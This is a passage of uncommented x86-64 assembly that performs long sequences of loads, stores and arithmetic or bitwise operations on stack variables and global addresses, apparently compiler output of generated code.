lea rax, [rsp + 0x1688]
mov qword [rsp + 0xcc90], rax
mov rax, qword [0x1402c9280]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xb6]
sar eax, cl
mov byte [rsp + 0xa5], al
movzx eax, word [rsp + 0x1754]
movzx ecx, word [rsp + 0x16d8]
xor eax, ecx
mov word [rsp + 0x1540], ax
mov rax, qword [rsp + 0xbaf8]
mov eax, dword [rax]
mov dword [rsp + 0x6b88], eax
mov rax, qword [rsp + 0xcc48]
mov rcx, qword [rsp + 0xbf38]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0xc750], rax
lea rax, [rsp + 0xc218]
mov qword [rsp + 0xcc98], rax
mov rax, qword [rsp + 0xc148]
mov ecx, dword [rsp + 0x6a30]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x696c], eax
mov rax, qword [0x1402c9238]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x95]
add eax, ecx
mov rcx, qword [rsp + 0xbb80]
mov byte [rcx], al
mov rax, qword [rsp + 0xc758]
movzx eax, word [rax]
mov word [0x1402c92ec], ax
mov rax, qword [rsp + 0xbcf0]
movzx eax, byte [rax]
mov byte [rsp + 0xdb], al
movzx eax, byte [0x1402c74ab]
mov rcx, qword [rsp + 0xc908]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbfb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xbe90]
movzx eax, word [rax]
mov word [rsp + 0x1768], ax
movsx eax, word [rsp + 0x1688]
movsx ecx, word [rsp + 0x1744]
add eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
mov rax, qword [rsp + 0xc830]
mov ecx, dword [rsp + 0x6ab4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x696c], eax
lea rax, [rsp + 0xcb78]
mov qword [rsp + 0xcca0], rax
mov eax, dword [rsp + 0x6b7c]
mov ecx, dword [rsp + 0x6ac0]
and ecx, eax
mov eax, ecx
mov dword [rsp + 0x6a68], eax
mov rax, qword [rsp + 0xc538]
mov qword [rsp + 0xcca8], rax
lea rax, [rsp + 0x1704]
mov qword [0x1402c92f0], rax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xc1c0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc8d8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xdb]
mov rcx, qword [0x1402c91a8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xce], al
lea rax, [rsp + 0x55]
mov qword [rsp + 0xccb0], rax
movsx eax, word [rsp + 0x1630]
mov rcx, qword [rsp + 0xc600]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x163c], ax
mov rax, qword [rsp + 0xc038]
mov eax, dword [rax]
mov dword [rsp + 0x6b8c], eax
mov rax, qword [rsp + 0xcbb8]
mov rcx, qword [rsp + 0xbe30]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xc538], rax
mov rax, qword [rsp + 0xcba8]
mov rax, qword [rax]
mov qword [rsp + 0xccb8], rax
mov rax, qword [rsp + 0xbc00]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc290]
mov qword [rsp + 0xccc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccc0]
mov eax, dword [rax]
shr eax, cl
mov dword [rsp + 0x68a0], eax
movzx eax, byte [rsp + 0xad]
mov rcx, qword [rsp + 0xc190]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1402c74c6], al
movzx eax, word [rsp + 0x1578]
mov rcx, qword [rsp + 0xbf68]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15ac], ax
mov rax, qword [rsp + 0xc640]
movzx eax, byte [rax]
mov byte [rsp + 0xdc], al
movzx eax, word [rsp + 0x1730]
movzx ecx, word [rsp + 0x1608]
xor eax, ecx
mov word [rsp + 0x1678], ax
mov rax, qword [rsp + 0xc190]
movzx eax, byte [rax]
mov byte [rsp + 0xdd], al
mov rax, qword [rsp + 0xc790]
mov rcx, qword [rsp + 0xc438]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xc2b0], rax
mov rax, qword [rsp + 0xc180]
mov ecx, dword [rsp + 0x6a9c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x69a0], eax
lea rax, [rsp + 0x6b28]
mov qword [rsp + 0xccc8], rax
mov rax, qword [0x1402c90a8]
mov rcx, qword [rsp + 0xc988]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc5e8]
mov qword [rcx], rax
lea rax, [rsp + 0x78]
mov qword [0x1402c92f8], rax
mov rax, qword [rsp + 0xc8f8]
movzx eax, byte [rax]
mov byte [rsp + 0xde], al
movsx eax, word [rsp + 0x1684]
movsx ecx, word [rsp + 0x16b4]
sub eax, ecx
mov word [rsp + 0x167c], ax
mov rax, qword [rsp + 0xbf68]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1714]
sub eax, ecx
mov rcx, qword [rsp + 0xc680]
mov word [rcx], ax
lea rax, [rsp + 0x1690]
mov qword [rsp + 0xccd0], rax
mov rax, qword [rsp + 0xc9d0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x69e8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc978]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc988]
mov rax, qword [rax]
mov qword [rsp + 0xccd8], rax
mov rax, qword [rsp + 0xc040]
mov rcx, qword [rsp + 0xbec8]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xc2d8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc4b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x68b0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc8f0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x15dc]
movzx ecx, word [rsp + 0x1578]
sub eax, ecx
mov word [0x1402c74b4], ax
lea rax, [rsp + 0x16c0]
mov qword [rsp + 0xcce0], rax
mov rax, qword [0x1402c9218]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5e]
sub eax, ecx
mov byte [rsp + 0x87], al
mov rax, qword [rsp + 0xc908]
movzx eax, byte [rax]
mov byte [rsp + 0xdf], al
movsx eax, word [rsp + 0x1614]
movsx ecx, word [rsp + 0x1604]
xor eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
lea rax, [rsp + 0xbe28]
mov qword [rsp + 0xcce8], rax
mov rax, qword [rsp + 0xbe10]
mov eax, dword [rax]
cdq
mov rcx, qword [rsp + 0xbdb8]
idiv dword [rcx]
mov dword [rsp + 0x6ae8], eax
mov rax, qword [rsp + 0xc280]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcbb8]
mov qword [rsp + 0xccf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xccf0]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc1e8]
mov qword [rcx], rax
lea rax, [rsp + 0x6a88]
mov qword [rsp + 0xccf8], rax
lea rax, [rsp + 0x162c]
mov qword [0x1402c9300], rax
mov rax, qword [rsp + 0xc8d8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
shl eax, cl
mov byte [rsp + 0x88], al
lea rax, [rsp + 0x16a8]
mov qword [rsp + 0xcd00], rax
movsx eax, byte [0x1402c74ba]
movsx ecx, byte [rsp + 0xc9]
or eax, ecx
mov rcx, qword [rsp + 0xbe70]
mov byte [rcx], al
movzx eax, byte [rsp + 0xd7]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xd4], al
mov rax, qword [rsp + 0xcc38]
mov eax, dword [rax]
mov dword [rsp + 0x6b90], eax
mov rax, qword [rsp + 0xcb28]
mov rcx, qword [rsp + 0xc1b0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0xc328], rax
lea rax, [rsp + 0x6a54]
mov qword [rsp + 0xcd08], rax
mov rax, qword [rsp + 0xc7a0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc2c8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbe50]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xb0]
mov rcx, qword [rsp + 0xc368]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1402c90b4], al
movsx eax, word [rsp + 0x1688]
mov rcx, qword [rsp + 0xc140]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1690], ax
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xcd10], rax
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xcaa0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x92], al
movzx eax, word [rsp + 0x16a0]
mov word [rsp + 0x176c], ax
mov rax, qword [rsp + 0xbf60]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc1b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcbb8]
mov qword [rcx], rax
lea rax, [rsp + 0xc550]
mov qword [rsp + 0xcd18], rax
mov rax, qword [rsp + 0xbc00]
mov ecx, dword [rsp + 0x695c]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x6ad8], eax
mov rax, qword [rsp + 0xc890]
mov ecx, dword [rsp + 0x6b6c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xc148]
mov dword [rcx], eax
lea rax, [rsp + 0x170c]
mov qword [0x1402c9308], rax
mov rax, qword [rsp + 0xbea8]
movzx eax, byte [rax]
mov byte [rsp + 0xe0], al
movzx eax, byte [rsp + 0x9a]
movzx ecx, byte [0x1402c74b6]
sar eax, cl
mov byte [rsp + 0xb6], al
lea rax, [rsp + 0x168c]
mov qword [rsp + 0xcd20], rax
movzx eax, word [rsp + 0x1754]
mov rcx, qword [rsp + 0xbbc0]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x15d0], ax
mov eax, dword [rsp + 0x6a94]
movzx ecx, al
mov eax, dword [rsp + 0x69c4]
shl eax, cl
mov rcx, qword [rsp + 0xbe40]
mov dword [rcx], eax
lea rax, [rsp + 0xc780]
mov qword [rsp + 0xcd28], rax
mov rax, qword [rsp + 0xc868]
mov rcx, qword [rsp + 0xba00]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xbd20], rax
lea rax, [rsp + 0x6aec]
mov qword [rsp + 0xcd30], rax
mov rax, qword [rsp + 0xbde0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1688]
sub eax, ecx
mov rcx, qword [rsp + 0xc398]
mov word [rcx], ax
mov rax, qword [rsp + 0xbdc0]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xa4]
and eax, ecx
mov rcx, qword [0x1402c91a8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc818]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9250]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x7f], al
mov rax, qword [rsp + 0xbef0]
movzx eax, word [rax]
mov word [rsp + 0x1770], ax
movzx eax, word [rsp + 0x169c]
mov rcx, qword [rsp + 0xc940]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc6c8]
mov word [rcx], ax
mov eax, dword [0x1402c90a0]
mov dword [rsp + 0x6b94], eax
mov rax, qword [rsp + 0xc718]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc170]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xbda0]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc148]
mov rcx, qword [rsp + 0xc540]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a58], eax
lea rax, [rsp + 0xc428]
mov qword [rsp + 0xcd38], rax
mov rax, qword [rsp + 0xc818]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xb2]
add eax, ecx
mov rcx, qword [rsp + 0xccb0]
mov byte [rcx], al
mov rax, qword [rsp + 0xc000]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x85]
sub eax, ecx
mov byte [0x1402c74cf], al
mov rax, qword [0x1402c91d0]
movzx eax, word [rax]
mov word [rsp + 0x1774], ax
mov rax, qword [rsp + 0xc4e8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xcb18]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1738], ax
movzx eax, word [rsp + 0x1720]
mov word [rsp + 0x1778], ax
mov rax, qword [rsp + 0xc9a8]
mov rcx, qword [rsp + 0xc0e8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc1f0], rax
mov rax, qword [rsp + 0xc3a0]
mov rcx, qword [rsp + 0xc7f0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0xba70], rax
mov eax, dword [rsp + 0x69a8]
mov dword [rsp + 0x6b98], eax
mov rax, qword [rsp + 0xcc88]
mov ecx, dword [rsp + 0x6ad0]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x6b18], eax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0xe1], al
movzx eax, word [rsp + 0x1770]
mov rcx, qword [rsp + 0xc410]
movzx ecx, word [rcx]
shl eax, cl
mov word [0x1402c74b0], ax
mov rax, qword [rsp + 0xc4f0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x8a]
sar eax, cl
mov byte [rsp + 0x58], al
mov rax, qword [rsp + 0xba90]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc728]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1674], ax
movzx eax, byte [rsp + 0x54]
mov byte [rsp + 0xe2], al
mov rax, qword [rsp + 0xbdd8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b58]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b34], eax
lea rax, [rsp + 0xc358]
mov qword [rsp + 0xcd40], rax
mov rax, qword [rsp + 0xbab0]
mov rcx, qword [rsp + 0xc4a8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0xbaf8]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc6e8]
mov rcx, qword [rsp + 0xbaa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0xc110]
mov qword [rcx], rax
mov rax, qword [rsp + 0xbe58]
movzx eax, byte [rax]
mov byte [rsp + 0xe3], al
lea rax, [rsp + 0x15f8]
mov qword [0x1402c9310], rax
movsx eax, byte [0x1402c74c3]
mov rcx, qword [rsp + 0xc158]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbf40]
mov byte [rcx], al
movzx eax, word [rsp + 0x16ec]
mov word [rsp + 0x177c], ax
movzx eax, byte [rsp + 0xbd]
mov rcx, qword [rsp + 0xbf20]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xcc], al
movzx eax, word [0x1402c92e8]
mov word [rsp + 0x1780], ax
mov rax, qword [rsp + 0xc7d8]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xc010]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbde8]
mov rcx, qword [rsp + 0xca68]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbfc8], rax
mov rax, qword [rsp + 0xbbf8]
mov eax, dword [rax]
mov dword [rsp + 0x6b9c], eax
mov rax, qword [rsp + 0xc860]
mov rcx, qword [rsp + 0xc7b8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xcbb8]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc528]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc8a0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c91d0]
mov word [rcx], ax
movzx eax, byte [0x1402c90b4]
mov byte [rsp + 0xe4], al
movsx eax, byte [rsp + 0xdc]
mov rcx, qword [rsp + 0xbd70]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x5d], al
movsx eax, byte [rsp + 0xc5]
movsx ecx, byte [0x1402c90b5]
or eax, ecx
mov rcx, qword [rsp + 0xccb0]
mov byte [rcx], al
movzx eax, byte [rsp + 0x53]
mov byte [rsp + 0xe5], al
mov rax, qword [rsp + 0xbb40]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xca80]
mov qword [rsp + 0xcd48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd48]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xc110]
mov qword [rcx], rax
lea rax, [rsp + 0x695c]
mov qword [rsp + 0xcd50], rax
mov rax, qword [rsp + 0xcab8]
mov rcx, qword [rsp + 0xc550]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc8b8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x6a48]
movzx ecx, al
mov eax, dword [rsp + 0x69f8]
shl eax, cl
mov dword [rsp + 0x69e0], eax
mov rax, qword [rsp + 0xcbe8]
movsx eax, word [rax]
movsx ecx, word [0x1402c74c8]
and eax, ecx
mov word [0x1402c74cc], ax
lea rax, [rsp + 0x1650]
mov qword [rsp + 0xcd58], rax
movsx eax, byte [rsp + 0xca]
movsx ecx, byte [rsp + 0x6c]
add eax, ecx
mov rcx, qword [rsp + 0xc8f8]
mov byte [rcx], al
lea rax, [rsp + 0x16c8]
mov qword [rsp + 0xcd60], rax
movzx eax, word [0x1402c74bc]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xcd58]
mov word [rcx], ax
mov rax, qword [rsp + 0xbad0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6b18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xc5a8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x6b58]
mov dword [rsp + 0x6ba0], eax
mov rax, qword [rsp + 0xbcc0]
mov rcx, qword [rsp + 0xc568]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xbce8], rax
mov rax, qword [rsp + 0xb9b0]
mov qword [rsp + 0xcd68], rax
movsx eax, word [rsp + 0x15e4]
movsx ecx, word [0x1402c92d8]
add eax, ecx
mov word [0x1402c750c], ax
movzx eax, word [rsp + 0x1730]
movzx ecx, word [rsp + 0x15fc]
sub eax, ecx
mov rcx, qword [rsp + 0xcc50]
mov word [rcx], ax
mov rax, qword [rsp + 0xc928]
movzx eax, byte [rax]
mov byte [rsp + 0xe6], al
mov rax, qword [rsp + 0xbf20]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xc7d0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x93], al
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcd10]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8d], al
lea rax, [rsp + 0xcb28]
mov qword [rsp + 0xcd70], rax
mov rax, qword [rsp + 0xcb38]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xc4b8]
mov qword [rsp + 0xcd78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcd78]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xc588]
mov dword [rcx], eax
lea rax, [rsp + 0xc0e0]
mov qword [rsp + 0xcd80], rax
mov rax, qword [rsp + 0xc7b0]
mov ecx, dword [rsp + 0x699c]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0xc9d0]
mov dword [rcx], eax
movsx eax, word [rsp + 0x1630]
movsx ecx, word [0x1402c9228]
or eax, ecx
mov word [0x1402c74c8], ax
mov rax, qword [rsp + 0xcb88]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x55]
shl eax, cl
mov byte [rsp + 0x6a], al
lea rax, [rsp + 0x94]
mov qword [rsp + 0xcd88], rax
movzx eax, word [rsp + 0x1610]
imul eax, eax, 0xc6
mov word [rsp + 0x1714], ax
mov rax, qword [rsp + 0xbda8]
movzx eax, word [rax]
mov word [rsp + 0x1784], ax
mov rax, qword [rsp + 0xbed0]
mov rcx, qword [rsp + 0xcd38]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xbeb8], rax
mov rax, qword [rsp + 0xc7f8]
mov ecx, dword [rsp + 0x6b4c]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b10], eax
lea rax, [rsp + 0xc788]
mov qword [rsp + 0xcd90], rax
mov rax, qword [rsp + 0xc4a8]
mov rcx, qword [rsp + 0xbb00]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xca10]
mov dword [rcx], eax
movzx eax, word [0x1402c92d8]
mov word [0x1402c9318], ax
mov rax, qword [rsp + 0xc708]
movzx eax, byte [rax]
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0xbf08]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x15ac]
add eax, ecx
mov word [rsp + 0x1560], ax
mov rax, qword [rsp + 0xcd00]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc758]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xc970]
mov word [rcx], ax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov byte [rsp + 0xe8], al
mov rax, qword [rsp + 0xc200]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xcab8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0xc990], rax
mov rax, qword [rsp + 0xc310]
mov rax, qword [rax]
mov qword [rsp + 0xcd98], rax
mov rax, qword [rsp + 0xc540]
mov ecx, dword [rsp + 0x6b10]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a5c], eax
lea rax, [rsp + 0x6b30]
mov qword [rsp + 0xcda0], rax
movsx eax, byte [rsp + 0x58]
mov rcx, qword [0x1402c92b8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1402c74d2], al
mov rax, qword [rsp + 0xc758]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xc178]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xba68]
mov word [rcx], ax
movzx eax, byte [rsp + 0xdd]
movzx ecx, byte [rsp + 0x51]
sub eax, ecx
mov byte [rsp + 0x56], al
movzx eax, word [0x1402c74a8]
mov word [rsp + 0x1788], ax
mov rax, qword [rsp + 0xcb90]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xcad8]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x89], al
lea rax, [rsp + 0x6a14]
mov qword [rsp + 0xcda8], rax
mov rax, qword [rsp + 0xc8b0]
mov rcx, qword [rsp + 0xc0c0]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xbf50]
mov qword [rcx], rax
mov rax, qword [rsp + 0xc978]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xbb00]
mov qword [rsp + 0xcdb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdb0]
mov eax, dword [rax]
shr eax, cl
mov rcx, qword [rsp + 0xca40]
mov dword [rcx], eax
mov rax, qword [rsp + 0xc8b8]
mov rax, qword [rax]
mov qword [rsp + 0xcdb8], rax
mov rax, qword [0x1402c90d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x80]
or eax, ecx
mov rcx, qword [0x1402c9218]
mov byte [rcx], al
mov rax, qword [rsp + 0xc970]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xcd00]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xcb00]
mov word [rcx], ax
lea rax, [rsp + 0x1708]
mov qword [rsp + 0xcdc0], rax
movsx eax, byte [rsp + 0x73]
movsx ecx, byte [rsp + 0xa0]
sub eax, ecx
mov rcx, qword [rsp + 0xc8d8]
mov byte [rcx], al
mov rax, qword [rsp + 0xc320]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x64]
add eax, ecx
mov rcx, qword [rsp + 0xca08]
mov byte [rcx], al
lea rax, [rsp + 0xc608]
mov qword [rsp + 0xcdc8], rax
mov rax, qword [rsp + 0xcb60]
mov rcx, qword [rsp + 0xbdd8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6b48], eax
mov rax, qword [rsp + 0xbce8]
mov qword [rsp + 0xcdd0], rax
mov rax, qword [rsp + 0xc010]
mov ecx, dword [rsp + 0x6b3c]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0xcba0]
mov dword [rcx], eax
movzx eax, word [rsp + 0x1538]
mov word [rsp + 0x178c], ax
movzx eax, byte [rsp + 0x9f]
movzx ecx, byte [rsp + 0xbb]
add eax, ecx
mov rcx, qword [0x1402c92e0]
mov byte [rcx], al
movsx eax, byte [rsp + 0x7e]
movsx ecx, byte [rsp + 0xd3]
and eax, ecx
mov rcx, qword [rsp + 0xc3c0]
mov byte [rcx], al
movsx eax, word [rsp + 0x15e8]
movsx ecx, word [rsp + 0x15e4]
sub eax, ecx
mov rcx, qword [rsp + 0xc490]
mov word [rcx], ax
lea rax, [rsp + 0x74]
mov qword [rsp + 0xcdd8], rax
mov rax, qword [rsp + 0xbd78]
mov rcx, qword [rsp + 0xcbb0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x6a28], eax
mov rax, qword [rsp + 0xc678]
mov qword [rsp + 0xcde0], rax
mov eax, dword [rsp + 0x6a98]
mov ecx, dword [rsp + 0x6b18]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b88], eax
mov rax, qword [rsp + 0xc258]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc4a0]
mov qword [rsp + 0xcde8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcde8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xca48], rax
mov rax, qword [rsp + 0xc910]
movzx eax, byte [rax]
mov byte [rsp + 0xe9], al
lea rax, [rsp + 0x162c]
mov qword [0x1402c9320], rax
movsx eax, word [rsp + 0x1718]
movsx ecx, word [rsp + 0x170c]
xor eax, ecx
mov word [rsp + 0x15f0], ax
mov rax, qword [rsp + 0xc590]
movzx eax, byte [rax]
mov byte [rsp + 0xea], al
mov rax, qword [rsp + 0xc578]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xbc80]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x1638], ax
mov rax, qword [rsp + 0xc668]
mov rcx, qword [rsp + 0xc310]
mov qword [rsp + 0xcdf0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xcdf0]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xc460], rax
lea rax, [0x1402c90a0]
mov qword [rsp + 0xcdf8], rax
mov rax, qword [rsp + 0xc9c0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xc418]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xc438]
mov qword [rcx], rax
lea rax, [rsp + 0x6b6c]
mov qword [rsp + 0xce00], rax
movzx eax, byte [0x1402c90a6]
mov rcx, qword [rsp + 0xca38]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xbf20]
mov byte [rcx], al
movsx eax, word [rsp + 0x16e4]
mov rcx, qword [rsp + 0xba20]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [0x1402c90e0]
mov word [rcx], ax
mov rax, qword [rsp + 0xba78]
movsx eax, byte [rax]
mov rcx, qword [0x1402c9208]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0xa0], al
mov rax, qword [rsp + 0xcdc0]
movzx eax, word [rax]
mov word [rsp + 0x1790], ax
movzx eax, word [rsp + 0x173c]
mov rcx, qword [rsp + 0xca98]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x15fc], ax
lea rax, [rsp + 0xc240]
mov qword [rsp + 0xce08], rax
mov rax, qword [rsp + 0xbe40]
mov rcx, qword [rsp + 0xbad0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0xcc38]
mov dword [rcx], eax
mov rax, qword [rsp + 0xcd80]
mov rax, qword [rax]
mov qword [rsp + 0xce10], rax
mov rax, qword [rsp + 0xcb38]
mov ecx, dword [rsp + 0x69a4]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ae0], eax
movsx eax, word [rsp + 0x1628]
movsx ecx, word [rsp + 0x16bc]
and eax, ecx
mov word [rsp + 0x157c], ax
movzx eax, word [rsp + 0x1708]
movzx ecx, word [rsp + 0x1578]
imul eax, ecx
mov word [0x1402c7510], ax
mov rax, qword [rsp + 0xbb50]
movzx eax, byte [rax]
mov byte [rsp + 0xeb], al
mov rax, qword [rsp + 0xbea8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xbd58]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xcbf8]
mov byte [rcx], al
movzx eax, byte [rsp + 0xe1]
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0xc918]
movzx eax, byte [rax]
mov rcx, qword [0x1402c91e0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x74], al
mov rax, qword [rsp + 0xbc88]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x6a50]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x6b78], eax
lea rax, [rsp + 0xbdf0]
